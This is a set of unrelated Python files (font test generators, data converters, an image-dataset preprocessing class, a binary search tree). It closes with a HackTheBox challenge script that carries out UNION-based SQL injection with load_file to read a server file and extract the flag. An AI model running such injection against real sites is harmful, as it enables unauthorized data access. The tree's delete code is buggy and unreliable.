#!/usr/bin/env python3 from utils import mathfont import fontforge v1 = 5 * mathfont.em v2 = 1 * mathfont.em f = mathfont.create("stack-bottomdisplaystyleshiftdown%d-axisheight%d" % (v1, v2), "Copyright (c) 2016 MathML Association") f.math.AxisHeight = v2 f.math.StackBottomDisplayStyleShiftDown = v1 f.math.StackBottomShiftDown = 0 f.math.StackDisplayStyleGapMin = 0 f.math.StackGapMin = 0 f.math.StackTopDisplayStyleShiftUp = 0 f.math.StackTopShiftUp = 0 mathfont.save(f) v1 = 6 * mathfont.em v2 = 1 * mathfont.em f = mathfont.create("stack-bottomshiftdown%d-axisheight%d" % (v1, v2), "Copyright (c) 2016 MathML Association") f.math.AxisHeight = v2 f.math.StackBottomDisplayStyleShiftDown = 0 f.math.StackBottomShiftDown = v1 f.math.StackDisplayStyleGapMin = 0 f.math.StackGapMin = 0 f.math.StackTopDisplayStyleShiftUp = 0 f.math.StackTopShiftUp = 0 mathfont.save(f) v = 4 * mathfont.em f = mathfont.create("stack-displaystylegapmin%d" % v, "Copyright (c) 2016 MathML Association") f.math.AxisHeight = 0 f.math.StackBottomDisplayStyleShiftDown = 0 f.math.StackBottomShiftDown = 0 f.math.StackDisplayStyleGapMin = v f.math.StackGapMin = 0 f.math.StackTopDisplayStyleShiftUp = 0 f.math.StackTopShiftUp = 0 mathfont.save(f) v = 8 * mathfont.em f = mathfont.create("stack-gapmin%d" % v, "Copyright (c) 2016 MathML Association") f.math.AxisHeight = 0 f.math.StackBottomDisplayStyleShiftDown = 0 f.math.StackBottomShiftDown = 0 f.math.StackDisplayStyleGapMin = 0 f.math.StackGapMin = v f.math.StackTopDisplayStyleShiftUp = 0 f.math.StackTopShiftUp = 0 mathfont.save(f) v1 = 3 * mathfont.em v2 = 1 * mathfont.em f = mathfont.create("stack-topdisplaystyleshiftup%d-axisheight%d" % (v1, v2), "Copyright (c) 2016 MathML Association") f.math.AxisHeight = v2 f.math.StackBottomDisplayStyleShiftDown = 0 f.math.StackBottomShiftDown = 0 f.math.StackDisplayStyleGapMin = 0 f.math.StackGapMin = 0 f.math.StackTopDisplayStyleShiftUp = v1 f.math.StackTopShiftUp = 0 mathfont.save(f) v1 = 9 * mathfont.em v2 = 1 * mathfont.em f = mathfont.create("stack-topshiftup%d-axisheight%d" % (v1, v2), "Copyright (c) 2016 MathML Association") f.math.AxisHeight = v2 f.math.StackBottomDisplayStyleShiftDown = 0 f.math.StackBottomShiftDown = 0 f.math.StackDisplayStyleGapMin = 0 f.math.StackGapMin = 0 f.math.StackTopDisplayStyleShiftUp = 0 f.math.StackTopShiftUp = v1 mathfont.save(f)
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2dd59681a0dcb5d3f1143385100c09c7783babf4
#!/usr/bin/env python # script :: creating a datamodel that fits mahout from ratings.dat ratings_dat = open("../data/movielens-1m/users.dat", "r") ratings_csv = open("../data/movielens-1m/users.txt", "w") for line in ratings_dat: arr = line.split("::") new_line = "\t".join(arr) ratings_csv.write(new_line) ratings_dat.close() ratings_csv.close()
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5ce98ae241c0982eeb1027ffcff5b770f94ff1a3
import csv import os events = {} eventTypes = set() eventIndices = {} i = 0 with open("Civ VI Modding Companion - Events.csv", newline="") as csvfile: reader = csv.reader(csvfile, delimiter=",", quotechar="|") for row in reader: if i < 4: i += 1 continue eventName = row[3] eventType = "GameEvents" if len(row[10]) > 0 else "Events" argumentName = row[4] argumentType = row[5][1:] try: events[eventName] except Exception: events[eventName] = {"eventType": eventType, "arguments": []} eventTypes.add(eventType) if argumentName: argumentText = "`" + argumentName if argumentType: argumentText += " [" + argumentType + "]" argumentText += "`" # argument = {'argumentName': argumentName, 'argumentType': argumentType, 'argumentText': argumentText} events[eventName]["arguments"].append(argumentText) for eventType in eventTypes: filename = "../EventObjects/" + eventType + ".md" os.makedirs(os.path.dirname(filename), exist_ok=True) f = open(filename, "w") eventIndices[eventType] = f f.write("## Static Events\n") f.write("Events can be subscribed by using `" + eventType + ".SomeEvent.Add(SomeFunction)`.\n") f.write("\n") f.write("| Name | Parameters |\n") f.write("|:---- |:--------- |\n") for eventName in events: event = events[eventName] eventType = event["eventType"] eventIndex = eventIndices[eventType] arguments = event["arguments"] # ----------------------- # Create Index Entry # ----------------------- indexEntry = "| [[" + eventType + "." + eventName + "]] | " if len(arguments) > 0: indexEntry += "<br/>".join(arguments) indexEntry += " |\n" eventIndex.write(indexEntry) # ----------------------- # Create Event File # ----------------------- fullName = eventType + "." + eventName filename = "../EventObjects/" + eventType + "/" + eventType + "." + eventName + ".md" os.makedirs(os.path.dirname(filename), exist_ok=True) f = open(filename, "w") f.write("# " + fullName + "\n") f.write("## Description\n") f.write("TBD\n") f.write("\n") f.write("## Usage\n") argumentsText = ", ".join(arguments) argumentsText = argumentsText.replace("`", "") f.write("> `" + fullName + "(" + argumentsText + ")`\n\n") f.write("Regular event: you can subscribe to it through `" + fullName + ".Add(<function handler>)`\n") f.write("\n") f.write("### Parameters\n") argumentsList = "\n- ".join(arguments) if len(argumentsList) > 0: argumentsList = "- " + argumentsList f.write(argumentsList)
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79c043fc862e77bea5adc3f1c6bb9a6272f19c75
#!/usr/bin/env python import socket name = socket.gethostname()
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22c498d84f40455d89ed32ccf3bf8778cb159579
import os import pandas as pd from tabulate import tabulate if __name__ == "__main__": bestPrecision = [0, 0, 0, 0, 0, 0] bestPrecisionFile = ["", "", "", "", "", ""] bestRecall = [0, 0, 0, 0, 0, 0] bestRecallFile = ["", "", "", "", "", ""] bestSupport = [0, 0, 0, 0, 0, 0] bestSupportFile = ["", "", "", "", "", ""] bestF1_Score = [0, 0, 0, 0, 0, 0] bestF1_ScoreFile = ["", "", "", "", "", ""] bestPrecisionOverall = 0 bestPrecisionOverallFile = "" bestRecallOverall = 0 bestRecallOverallFile = "" bestSupportOverall = 0 bestSupportOverallFile = "" bestF1_ScoreOverall = 0 bestF1_ScoreOverallFile = "" for file in os.listdir("results"): # (0.359*a)+(0.256*b)+(0.205*c)+(0.087*d)+(0.073*e)+(0.016*f) df = pd.read_csv("results/" + file) for i in range(0, 6): if bestF1_Score[i] < df["f1_score"][i]: bestF1_Score[i] = df["f1_score"][i] bestF1_ScoreFile[i] = file if bestPrecision[i] < df["precision"][i]: bestPrecision[i] = df["precision"][i] bestPrecisionFile[i] = file if bestRecall[i] < df["recall"][i]: bestRecall[i] = df["recall"][i] bestRecallFile[i] = file if bestSupport[i] < df["support"][i]: bestSupport[i] = df["support"][i] bestSupportFile[i] = file currPrecision = 0 currRecall = 0 currSupport = 0 currF1_Score = 0 for idx, value in enumerate([0.359, 0.256, 0.205, 0.087, 0.073, 0.016]): currF1_Score += value * df["f1_score"][idx] currPrecision += value * df["precision"][idx] currRecall += value * df["recall"][idx] currSupport += value * df["support"][idx] if currPrecision > bestPrecisionOverall: bestPrecisionOverall = currPrecision bestPrecisionOverallFile = file print(file) print(bestPrecisionOverall) if currRecall > bestRecallOverall: bestRecallOverall = currRecall bestRecallOverallFile = file if currSupport > bestSupportOverall: bestSupportOverall = currSupport bestSupportOverallFile = file if currF1_Score > bestF1_ScoreOverall: bestF1_ScoreOverall = currF1_Score bestF1_ScoreOverallFile = file bestPrecision.insert(0, "Precision") bestPrecisionFile.insert(0, "Precision") bestRecall.insert(0, "Recall") bestRecallFile.insert(0, "Recall") bestSupport.insert(0, "Support") bestSupportFile.insert(0, "Support") bestF1_Score.insert(0, "F1_SCORE") bestF1_ScoreFile.insert(0, "F1_SCORE") tableSpecific = [ ["", "Class0", "Class1", "Class2", "Class3", "Class4", "Class5"], bestPrecision, bestPrecisionFile, bestRecall, bestRecallFile, bestSupport, bestSupportFile, bestF1_Score, bestF1_ScoreFile, ] tableGeneral = [ ["Precision Best", "Recall Best", "Support Best", "F1_Score Best"], [bestPrecisionOverall, bestRecallOverall, bestSupportOverall, bestF1_ScoreOverall], [bestPrecisionOverallFile, bestRecallOverallFile, bestSupportOverallFile, bestF1_ScoreOverallFile], ] print(tabulate(tableSpecific)) print(tabulate(tableGeneral))
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5b8c95354f8b27eff8226ace52ab9e97f98ae217
from dai_imports import * from obj_utils import * import utils class my_image_csv_dataset(Dataset): def __init__(self, data_dir, data, transforms_=None, obj=False, minorities=None, diffs=None, bal_tfms=None): self.data_dir = data_dir self.data = data self.transforms_ = transforms_ self.tfms = None self.obj = obj self.minorities = minorities self.diffs = diffs self.bal_tfms = bal_tfms assert transforms_ is not None, print("Please pass some transforms.") def __len__(self): return len(self.data) def __getitem__(self, index): img_path = os.path.join(self.data_dir, self.data.iloc[index, 0]) img = Image.open(img_path) img = img.convert("RGB") img = torchvision.transforms.functional.to_grayscale(img, num_output_channels=3) y = self.data.iloc[index, 1] if self.minorities and self.bal_tfms: if y in self.minorities: if hasattr(self.bal_tfms, "transforms"): for tr in self.bal_tfms.transforms: tr.p = self.diffs[y] l = [self.bal_tfms] l.extend(self.transforms_) self.tfms = transforms.Compose(l) else: for t in self.bal_tfms: t.p = self.diffs[y] self.transforms_[1:1] = self.bal_tfms self.tfms = transforms.Compose(self.transforms_) # print(self.tfms) else: self.tfms = transforms.Compose(self.transforms_) else: self.tfms = transforms.Compose(self.transforms_) x = self.tfms(img) if self.obj: s = x.size()[1] if isinstance(s, tuple): s = s[0] row_scale = s / img.size[0] col_scale = s / img.size[1] y = rescale_bbox(y, row_scale, col_scale) y.squeeze_() y2 = self.data.iloc[index, 2] y = (y, y2) return (x, y) class my_image_folder(DatasetFolder): def __init__( self, root, transform=None, target_transform=None, loader=default_loader, minorities=None, diffs=None, bal_tfms=None, tta_tfms=None, ): super(my_image_folder, self).__init__( root, loader, IMG_EXTENSIONS, transform=transform, target_transform=target_transform ) self.imgs = self.samples self.minorities = minorities self.diffs = diffs self.bal_tfms = bal_tfms self.tta_tfms = tta_tfms self.tfms = None def __getitem__(self, index): path, target = self.samples[index] sample = self.loader(path) if self.transform: if self.minorities and self.bal_tfms: if target in self.minorities: if hasattr(self.bal_tfms, "transforms"): for tr in self.bal_tfms.transforms: tr.p = self.diffs[target] l = [self.bal_tfms] l.extend(self.transform) self.tfms = transforms.Compose(l) else: for t in self.bal_tfms: t.p = self.diffs[target] self.tfms = transforms.Compose(self.bal_tfms + self.transform) else: self.tfms = transforms.Compose(self.transform) elif self.tta_tfms: self.tfms = self.tta_tfms else: self.tfms = transforms.Compose(self.transform) sample = self.tfms(sample) if self.target_transform: target = self.target_transform(target) return sample, target def extract_data(dt): x = [] y = [] for a, b in dt: x.append(a) y.append(b) return x, y def listdir_fullpath(d): return [os.path.join(d, f) for f in os.listdir(d)] def get_minorities(df, thresh=0.8): c = df.iloc[:, 1].value_counts() lc = list(c) max_count = lc[0] diffs = [1 - (x / max_count) for x in lc] diffs = dict((k, v) for k, v in zip(c.keys(), diffs)) minorities = [c.keys()[x] for x, y in enumerate(lc) if y < (thresh * max_count)] return minorities, diffs def csv_from_path(path, img_dest): path = Path(path) img_dest = Path(img_dest) labels_paths = list(path.iterdir()) tr_images = [] tr_labels = [] for l in labels_paths: if l.is_dir(): for i in list(l.iterdir()): if i.suffix in IMG_EXTENSIONS: name = i.name label = l.name new_name = "{}_{}".format(path.name, name) new_path = img_dest / new_name # print(new_path) os.rename(i, new_path) tr_images.append(new_name) tr_labels.append(label) # os.rmdir(l) tr_img_label = {"Img": tr_images, "Label": tr_labels} csv = pd.DataFrame(tr_img_label, columns=["Img", "Label"]) csv = csv.sample(frac=1).reset_index(drop=True) return csv def add_extension(a, e): a = [x + e for x in a] return a def one_hot(targets, multi=False): if multi: binerizer = MultiLabelBinarizer() dai_1hot = binerizer.fit_transform(targets) else: binerizer = LabelBinarizer() dai_1hot = binerizer.fit_transform(targets) return dai_1hot, binerizer.classes_ def get_index(arr, a): for i in range(len(arr)): if sum(arr[i] == a) == len(a): return i return False def rescale_bbox(bb, row_scale, col_scale): bb = bb.reshape((-1, 4)) for b in bb: r1, c1, r2, c2 = b b[0] = int(np.round(r1 * col_scale)) b[1] = int(np.round(c1 * row_scale)) b[2] = int(np.round(r2 * col_scale)) b[3] = int(np.round(c2 * row_scale)) # bb = torch.tensor([bb_hw(b) for b in bb.reshape(-1,4)]) # for b in bb: # r1,c1,r2,c2 = b # b[0] = int(np.round(r1*row_scale)) # b[1] = int(np.round(c1*col_scale)) # b[2] = int(np.round(r2*row_scale)) # b[3] = int(np.round(c2*col_scale)) # if(sum(b)) == 1: # b[0],b[1],b[2],b[3] = 0,0,0,0 bb = bb.reshape((1, -1)) return bb def get_img_stats(dataset, sz): size = int(len(dataset) * sz) i = 0 imgs = [] for img, _ in dataset: # print(img.size()) if i > size: break imgs.append(img) i += 1 imgs_ = torch.stack(imgs, dim=3) imgs_ = imgs_.view(3, -1) imgs_mean = imgs_.mean(dim=1) imgs_std = imgs_.std(dim=1) return imgs_mean, imgs_std def split_df(train_df, test_size=0.15): try: train_df, val_df = train_test_split(train_df, test_size=test_size, random_state=2, stratify=train_df.iloc[:, 1]) except: train_df, val_df = train_test_split(train_df, test_size=test_size, random_state=2) train_df = train_df.reset_index(drop=True) val_df = val_df.reset_index(drop=True) return train_df, val_df def save_obj(obj, path): with open(path, "wb") as f: pickle.dump(obj, f, pickle.HIGHEST_PROTOCOL) def load_obj(path): with open(path, "rb") as f: return pickle.load(f) class DataProcessor: def __init__( self, data_path=None, train_csv=None, val_csv=None, reg=False, tr_name="train", val_name="val", test_name="test", extension=None, setup_data=True, ): print("+------------------------------------+") print("| Dream AI |") print("+------------------------------------+") print() self.device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") self.data_path, self.train_csv, self.val_csv, self.reg, self.tr_name, self.val_name, self.test_name, self.extension = ( data_path, train_csv, val_csv, reg, tr_name, val_name, test_name, extension, ) self.obj = False self.multi_label = False if setup_data: self.set_up_data() def set_up_data(self, split_size=0.15): data_path, train_csv, val_csv, tr_name, val_name, test_name = ( self.data_path, self.train_csv, self.val_csv, self.tr_name, self.val_name, self.test_name, ) # check if paths given and also set paths if not data_path: data_path = os.getcwd() + "/" tr_path = os.path.join(data_path, tr_name) val_path = os.path.join(data_path, val_name) test_path = os.path.join(data_path, test_name) if os.path.exists(os.path.join(data_path, tr_name + ".csv")): train_csv = tr_name + ".csv" # if os.path.exists(os.path.join(data_path,val_name+'.csv')): # val_csv = val_name+'.csv' # if os.path.exists(os.path.join(data_path,test_name+'.csv')): # test_csv = test_name+'.csv' # paths to csv if not train_csv: print("no") train_csv, val_csv, test_csv = self.data_from_paths_to_csv(data_path, tr_path, val_path, test_path) train_csv_path = os.path.join(data_path, train_csv) train_df = pd.read_csv(train_csv_path) if "Unnamed: 0" in train_df.columns: train_df = train_df.drop("Unnamed: 0", 1) if len(train_df.columns) > 2: self.obj = True img_names = [str(x) for x in list(train_df.iloc[:, 0])] if self.extension: img_names = add_extension(img_names, self.extension) if val_csv: val_csv_path = os.path.join(data_path, val_csv) val_df = pd.read_csv(val_csv_path) val_targets = list(map(str, list(val_df.iloc[:, 1]))) if test_csv: test_csv_path = os.path.join(data_path, test_csv) test_df = pd.read_csv(test_csv_path) test_targets = list(map(str, list(test_df.iloc[:, 1]))) targets = list(map(str, list(train_df.iloc[:, 1]))) lengths = [len(t) for t in [s.split() for s in targets]] self.target_lengths = lengths split_targets = [t.split() for t in targets] if self.obj: print("\nObject Detection\n") # bounding boxes int_targets = [list(map(float, x)) for x in split_targets] zero_targets = np.zeros((len(targets), max(lengths)), dtype=int) for i, t in enumerate(zero_targets): t[len(t) - len(int_targets[i]) :] = int_targets[i] zero_targets[i] = t train_df.iloc[:, 1] = [torch.from_numpy(z).type(torch.FloatTensor) for z in zero_targets] # one-hot classes obj_targets = list(map(str, list(train_df.iloc[:, 2]))) obj_split_targets = [t.split() for t in obj_targets] try: obj_split_targets = [list(map(int, x)) for x in obj_split_targets] except: pass dai_onehot, onehot_classes = one_hot(obj_split_targets, True) # train_df['one_hot'] = [torch.from_numpy(x).type(torch.FloatTensor) for x in dai_onehot] # class indexes c_names = list(onehot_classes) class_idx = [[c_names.index(i) for i in c] for c in obj_split_targets] zero_idx = np.zeros((len(targets), max(lengths) // 4), dtype=int) # print(zero_idx.shape) for i, t in enumerate(zero_idx): # temp_l = len(class_idx[i]) # if temp_l > 90: # print(i,temp_l) t[len(t) - len(class_idx[i]) :] = class_idx[i] zero_idx[i] = t train_df.iloc[:, 2] = [torch.from_numpy(z).type(torch.LongTensor) for z in zero_idx] self.data_dir, self.num_classes, self.class_names = data_path, len(onehot_classes), onehot_classes # self.set_up_object_detection([4,2,1],[0.7, 1., 1.3],[(1.,1.), (1.,0.5), (0.5,1.)]) elif self.reg: print("\nRegression\n") int_targets = [list(map(int, x)) for x in split_targets] zero_targets = np.zeros((len(targets), max(lengths)), dtype=int) for i, t in enumerate(zero_targets): t[len(t) - len(int_targets[i]) :] = int_targets[i] zero_targets[i] = t train_df.iloc[:, 1] = [torch.from_numpy(z).type(torch.FloatTensor) for z in zero_targets] self.data_dir, self.num_classes, self.class_names = data_path, max(lengths), np.unique(zero_targets, axis=1) elif lengths[1:] != lengths[:-1]: self.multi_label = True print("\nMulti-label Classification\n") try: split_targets = [list(map(int, x)) for x in split_targets] except: pass dai_onehot, onehot_classes = one_hot(split_targets, self.multi_label) train_df.iloc[:, 1] = [torch.from_numpy(x).type(torch.FloatTensor) for x in dai_onehot] self.data_dir, self.num_classes, self.class_names = data_path, len(onehot_classes), onehot_classes else: print("\nSingle-label Classification\n") unique_targets = list(np.unique(targets)) target_ids = [unique_targets.index(x) for x in targets] train_df.iloc[:, 1] = target_ids if val_csv: target_ids = [unique_targets.index(x) for x in val_targets] val_df.iloc[:, 1] = target_ids if test_csv: target_ids = [unique_targets.index(x) for x in test_targets] test_df.iloc[:, 1] = target_ids self.data_dir, self.num_classes, self.class_names = data_path, len(unique_targets), unique_targets # self.models_path = os.path.join(self.data_dir, 'models') # os.makedirs(self.models_path,exist_ok=True) if not val_csv: train_df, val_df = split_df(train_df, split_size) if not test_csv: val_df, test_df = split_df(val_df, split_size) tr_images = [str(x) for x in list(train_df.iloc[:, 0])] val_images = [str(x) for x in list(val_df.iloc[:, 0])] test_images = [str(x) for x in list(test_df.iloc[:, 0])] if self.extension: tr_images = add_extension(tr_images, self.extension) val_images = add_extension(val_images, self.extension) test_images = add_extension(test_images, self.extension) train_df.iloc[:, 0] = tr_images val_df.iloc[:, 0] = val_images test_df.iloc[:, 0] = test_images train_df.to_csv(os.path.join(data_path, "train.csv"), index=False) val_df.to_csv(os.path.join(data_path, "val.csv"), index=False) test_df.to_csv(os.path.join(data_path, "test.csv"), index=False) self.minorities, self.class_diffs = None, None if (not self.obj) or (not self.multi_label): self.minorities, self.class_diffs = get_minorities(train_df) self.data_dfs = {self.tr_name: train_df, self.val_name: val_df, self.test_name: test_df} data_dict = { "data_dfs": self.data_dfs, "data_dir": self.data_dir, "num_classes": self.num_classes, "class_names": self.class_names, "minorities": self.minorities, "class_diffs": self.class_diffs, "obj": self.obj, "multi_label": self.multi_label, } # save_obj(data_dict,os.path.join(self.data_dir,'data_dict.pkl')) self.data_dict = data_dict return data_dict def data_from_paths_to_csv(self, data_path, tr_path, val_path=None, test_path=None): train_df = csv_from_path(tr_path, tr_path) train_df.to_csv(os.path.join(data_path, self.tr_name + ".csv"), index=False) ret = (self.tr_name + ".csv", None) if val_path is not None: val_exists = os.path.exists(val_path) if val_exists: val_df = csv_from_path(val_path, tr_path) val_df.to_csv(os.path.join(data_path, self.val_name + ".csv"), index=False) ret = (self.tr_name + ".csv", self.val_name + ".csv") if test_path is not None: test_exists = os.path.exists(test_path) if test_exists: test_df = csv_from_path(test_path, tr_path) test_df.to_csv(os.path.join(data_path, self.test_name + ".csv"), index=False) ret = (self.tr_name + ".csv", self.val_name + ".csv", self.test_name + ".csv") return ret def get_data( self, data_dict=None, s=(224, 224), dataset=my_image_csv_dataset, bs=32, balance=False, tfms=None, bal_tfms=None, tta=False, num_workers=4, stats_percentage=0.6, ): self.image_size = s if not data_dict: data_dict = self.data_dict data_dfs, data_dir, minorities, class_diffs, obj, multi_label = ( data_dict["data_dfs"], data_dict["data_dir"], data_dict["minorities"], data_dict["class_diffs"], data_dict["obj"], data_dict["multi_label"], ) if obj or multi_label: balance = False if tta: tta_tfms = { self.tr_name: transforms.Compose( [ # transforms.TenCrop(s), transforms.FiveCrop(s[0]), transforms.Lambda(lambda crops: torch.stack([transforms.ToTensor()(crop) for crop in crops])), transforms.Lambda( lambda crops: torch.stack( [transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])(crop) for crop in crops] ) ), ] ), self.val_name: transforms.Compose( [ # transforms.TenCrop(s), transforms.FiveCrop(s[0]), transforms.Lambda(lambda crops: torch.stack([transforms.ToTensor()(crop) for crop in crops])), transforms.Lambda( lambda crops: torch.stack( [transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])(crop) for crop in crops] ) ), ] ), self.test_name: transforms.Compose( [ # transforms.TenCrop(s), transforms.FiveCrop(s[0]), transforms.Lambda(lambda crops: torch.stack([transforms.ToTensor()(crop) for crop in crops])), transforms.Lambda( lambda crops: torch.stack( [transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])(crop) for crop in crops] ) ), ] ), } # tta_tfms = {self.tr_name: transforms.Compose([ # transforms.Resize(s), # transforms.ToTensor(), # transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]) # ]), # self.val_name: transforms.Compose([ # transforms.Resize(s), # transforms.ToTensor(), # transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]) # ]) } else: tta_tfms = None if not bal_tfms: bal_tfms = {self.tr_name: [transforms.RandomHorizontalFlip()], self.val_name: None, self.test_name: None} else: bal_tfms = {self.tr_name: bal_tfms, self.val_name: None, self.test_name: None} if obj: resize_transform = transforms.Resize(s) else: # resize_transform = transforms.RandomResizedCrop(s[0]) resize_transform = transforms.Resize(s) if not tfms: tfms = [resize_transform, transforms.ToTensor(), transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])] else: tfms_temp = [ resize_transform, transforms.ToTensor(), transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]), ] tfms_temp[1:1] = tfms tfms = tfms_temp print(tfms) data_transforms = { self.tr_name: tfms, self.val_name: [ # transforms.Resize(s[0]+50), # transforms.CenterCrop(s[0]), transforms.Resize(s), transforms.ToTensor(), transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]), ], self.test_name: [ # transforms.Resize(s[0]+50), # transforms.CenterCrop(s[0]), transforms.Resize(s), transforms.ToTensor(), transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]), ], } temp_tfms = [resize_transform, transforms.ToTensor()] temp_dataset = dataset(os.path.join(data_dir, self.tr_name), data_dfs[self.tr_name], temp_tfms) self.img_mean, self.img_std = get_img_stats(temp_dataset, stats_percentage) data_transforms[self.tr_name][-1].mean, data_transforms[self.tr_name][-1].std = self.img_mean, self.img_std data_transforms[self.val_name][-1].mean, data_transforms[self.val_name][-1].std = self.img_mean, self.img_std data_transforms[self.test_name][-1].mean, data_transforms[self.test_name][-1].std = self.img_mean, self.img_std if balance: image_datasets = { x: dataset( os.path.join(data_dir, self.tr_name), data_dfs[x], data_transforms[x], obj, minorities, class_diffs, bal_tfms[x], ) for x in [self.tr_name, self.val_name, self.test_name] } else: image_datasets = { x: dataset(os.path.join(data_dir, self.tr_name), data_dfs[x], data_transforms[x], obj) for x in [self.tr_name, self.val_name, self.test_name] } dataloaders = { x: torch.utils.data.DataLoader(image_datasets[x], batch_size=bs, shuffle=True, num_workers=num_workers) for x in [self.tr_name, self.val_name, self.test_name] } dataset_sizes = {x: len(image_datasets[x]) for x in [self.tr_name, self.val_name, self.test_name]} self.image_datasets, self.dataloaders, self.dataset_sizes = (image_datasets, dataloaders, dataset_sizes) return image_datasets, dataloaders, dataset_sizes def imshow(self, inp, title=None): """Imshow for Tensor.""" inp = self.denorm_img(inp) plt.imshow(inp) if title: plt.title(title) plt.pause(0.001) def denorm_img(self, inp, calculate=False): inp = inp.numpy().transpose((1, 2, 0)) if calculate: mean = np.mean(inp) std = np.std(inp) else: mean = self.img_mean.numpy() std = self.img_std.numpy() inp = std * inp + mean inp = np.clip(inp, 0, 1) return inp def show_data(self, folder_name="train", size=(64, 64), bs=5): self.get_data(size, bs) batch = next(iter(self.dataloaders[folder_name])) inputs, classes = batch[0], batch[1] out = torchvision.utils.make_grid(inputs) if self.reg: print(classes) self.imshow(out, title=[x for x in classes]) elif self.multi_label: self.imshow(out, title=[self.class_names[np.nonzero(x.type(torch.LongTensor))] for x in classes]) else: self.imshow(out, title=[self.class_names[x] for x in classes]) # def set_up_object_detection(self,anc_grids,anc_zooms,anc_ratios,num_colr = 12): # # print('Would you like to give your own values for anchor_grids, anchor_zooms,and anchor_ratios? The default values are: {}, {} and {}' # # .format(anc_grids,anc_zooms,anc_ratios)) # # print('If so, you may call the function "set_up_object_detection" with your own paramteres.') # cmap = get_cmap(num_colr) # self.colr_list = [cmap(float(x)) for x in range(num_colr)] # self.num_colr = num_colr # self.create_anchors(anc_grids,anc_zooms,anc_ratios) # self.custom_head = SSD_MultiHead(self.k,self.num_classes,0.45,-4.) # self.loss_f = FocalLoss(self.num_classes) # def create_anchors(self,anc_grids,anc_zooms,anc_ratios): # anchor_scales = [(anz*i,anz*j) for anz in anc_zooms for (i,j) in anc_ratios] # k = len(anchor_scales) # anc_offsets = [1/(o*2) for o in anc_grids] # anc_x = np.concatenate([np.repeat(np.linspace(ao, 1-ao, ag), ag) # for ao,ag in zip(anc_offsets,anc_grids)]) # anc_y = np.concatenate([np.tile(np.linspace(ao, 1-ao, ag), ag) # for ao,ag in zip(anc_offsets,anc_grids)]) # anc_ctrs = np.repeat(np.stack([anc_x,anc_y], axis=1), k, axis=0) # anc_sizes = np.concatenate([np.array([[o/ag,p/ag] for i in range(ag*ag) for o,p in anchor_scales]) # for ag in anc_grids]) # grid_sizes = torch.tensor(np.concatenate([np.array( # [ 1/ag for i in range(ag*ag) for o,p in anchor_scales]) # for ag in anc_grids])).float().unsqueeze(1).to(self.device) # anchors = torch.tensor(np.concatenate([anc_ctrs, anc_sizes], axis=1)).float().to(self.device) # anchor_cnr = hw2corners(anchors[:,:2], anchors[:,2:]) # self.anchors,self.anchor_cnr,self.grid_sizes,self.k = anchors,anchor_cnr,grid_sizes,k
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64c32b3ada7fff51a7c4b07872b7688e100897d8
class Node(object): def __init__(self, data): self.data = data self.left = None self.right = None self.parent = None class tree(object): def __init__(self): self.root = None def insert(self, root, value): if self.root == None: self.root = Node(value) else: if value < root.data: if root.left is None: root.left = Node(value) else: self.insert(root.left, value) elif value > root.data: if root.right is None: root.right = Node(value) else: self.insert(root.right, value) return root def delete(self, root, data, parent): if root is None: return root if root.data < data: parent = root root.right = self.delete(root.right, data, parent) elif root.data > data: parent = root root.left = self.delete(root.left, data, parent) else: if root is None or root.data != data: return False elif root.left is None and root.right is None: if data > parent.data: parent.right = None root = None else: parent.left = None root = None elif root.left is None: if data > parent.data: parent.right = root.right root = parent.right else: parent.left = root.right root = parent.left elif root.right is None: if data > parent.data: parent.right = root.right root = parent.right else: parent.left = root.right root = parent.right else: temp = self.successor(root.right) root.data = temp.data root.right = self.delete(root.right, temp.data, parent) return root def successor(self, root): temp = root if root.right: while temp.left: temp = temp.left return temp def inorder(self, root): if root is not None: self.inorder(root.left) print(root.data) self.inorder(root.right) def main(): Tree = tree() l = [50, 30, 20, 40, 70, 60, 80] for item in l: Tree.insert(Tree.root, item) print(Tree.delete(Tree.root, 20, None)) print("inorder after deleting 20:") print(Tree.inorder(Tree.root)) print(Tree.delete(Tree.root, 30, None)) print(Tree.delete(Tree.root, 50, None)) print(Tree.inorder(Tree.root)) main()
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88ec9484e934ce27b13734ca26f79df71b7677e6
import requests from bs4 import BeautifulSoup import sys import re if len(sys.argv) < 2: print("Syntax : python %s <port>") % (str(sys.argv[0])) else: print("-" * 55) print("HTB WEB-CHALLENGE coded by ZyperX [Freelance]") print("-" * 55) r = requests.session() port = str(sys.argv[1]) url = "http://docker.hackthebox.eu:" url = url + port uri = "/portfolio.php?id=1" url = url + uri print("[*]SQLi Affected URI : %s") % (uri) print("[*]Counting Columns") for x in range(1, 20): payload = (" order by %i --+") % (x) nurl = url + payload op = r.get(nurl) soup = BeautifulSoup(op.text, "html.parser") soup = soup.find("p") soup = str(soup) size = len(soup.split()) print("[*]Page size at order by %s : %s") % (x, size) if size < 36: col = x - 1 break print("-" * 55) print("[*]Number of Columns : %d") % (col) print("[*]Web App Vulnerable with FILE PRIVILEGE SQLI") print("[*]Trying to read content of '/var/www/html/administrat/panel.php'") upayload = " union all select 1" for x in range(2, col + 1): x = str(x) upayload = upayload + "," + x upayload = upayload + " --+" url = url + upayload print("[*]Executing. : %s") % (url) op = r.get(url) op = str(op.text) if op.find("2"): print("[*]Column 2 is reflected") print("[*]Injecting payloads in column 2....") upayload = upayload.replace("2", "load_file('/var/www/html/administrat/panel.php')") url = "http://docker.hackthebox.eu:" + port + uri + upayload print("[*]Excecuting : %s") % (url) op = r.get(url) op = str(op.text) op = re.search("HTB.*?<", op) op = str(op.group()) op = op.replace("<", "") print("-" * 55) print("[*]Flag : %s") % (op)
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cd2e03666a890d6e9ea0fcb45fe28510d684916d
